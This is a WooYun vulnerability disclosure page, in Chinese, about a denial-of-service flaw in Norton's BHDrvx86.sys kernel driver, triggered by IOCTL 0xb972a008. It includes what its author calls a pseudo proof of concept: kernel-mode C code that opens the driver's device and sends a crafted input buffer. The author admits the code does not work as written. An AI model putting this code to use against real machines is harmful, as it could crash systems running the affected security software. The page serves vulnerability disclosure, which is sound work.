当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034678

漏洞标题:诺顿BHDrvx86.sys拒绝服务漏洞(附伪POC)

相关厂商:赛门铁克

漏洞作者: n0bele

提交时间:2013-08-19 14:17

修复时间:2013-11-17 14:17

公开时间:2013-11-17 14:17

漏洞类型:拒绝服务

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-11-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BHDrvx86.sys一直问题不断,才修补了上一个版本,最新版的问题又来了

详细说明:

为什么叫伪POC呢?因为真POC可能得HOOK ZwDeviceIoControlFile修改值,而那样实在费力,直接ZwOpenFile \\Device\\BBDrvDevice是成功不了的,可能做了校验.我只为说明问题,所以省事点,据说不带POC不让过的.
问题出在发送IO 0xb972a008的时候,inputbuffer没处理好.当然能不能提权对这个bug而言真的毫无意义了。
BOOLEAN
SendInterface(
IN PCWSTR DeviceName,
IN ULONG IoControlCode,
IN PVOID Data,
IN ULONG DataLength
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT pNetObject = NULL;
OBJECT_ATTRIBUTES ObPassthru;
IO_STATUS_BLOCK NetStatusBlock;
UNICODE_STRING PassthruString;
HANDLE hNet =NULL;
BOOLEAN bRet = FALSE;
__try
{
RtlInitUnicodeString( &PassthruString, DeviceName);
InitializeObjectAttributes( &ObPassthru,&PassthruString,0,(HANDLE) NULL,(PSECURITY_DESCRIPTOR)NULL);
ntStatus = ZwOpenFile(&hNet,OBJ_CASE_INSENSITIVE,&ObPassthru,&NetStatusBlock,0,FILE_NON_DIRECTORY_FILE);
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("[SendInterface] ZwOpenFile failed err=[0x%08x]\n", ntStatus);
__leave;
}
ntStatus = ObReferenceObjectByHandle(hNet,0,NULL,KernelMode,(PVOID *) &pNetObject,NULL );
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("[SendInterface] ObReferenceObjectByHandle failed err=[0x%08x]\n", ntStatus);
ZwClose(hNet);
__leave;
}
ntStatus = ZwDeviceIoControlFile(hNet,NULL,NULL,NULL,&NetStatusBlock,IoControlCode,Data,DataLength,NULL,0);
ObDereferenceObject(pNetObject);
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("[SendInterface] ZwDeviceIoControlFile failed err=[0x%08x]\n", ntStatus);
ZwClose(hNet);
__leave;
}
ZwClose(hNet);
bRet = TRUE;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[SendInterface]Memory access failed."));
}
return bRet;
}
SendInterface(L"\\Device\\BBDrvDevice",0xb972a008,(PVOID)0x02f0ade0,0x00000030);

漏洞证明:

sym.jpg

修复方案:

They understand~

版权声明:转载请注明来源 n0bele@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝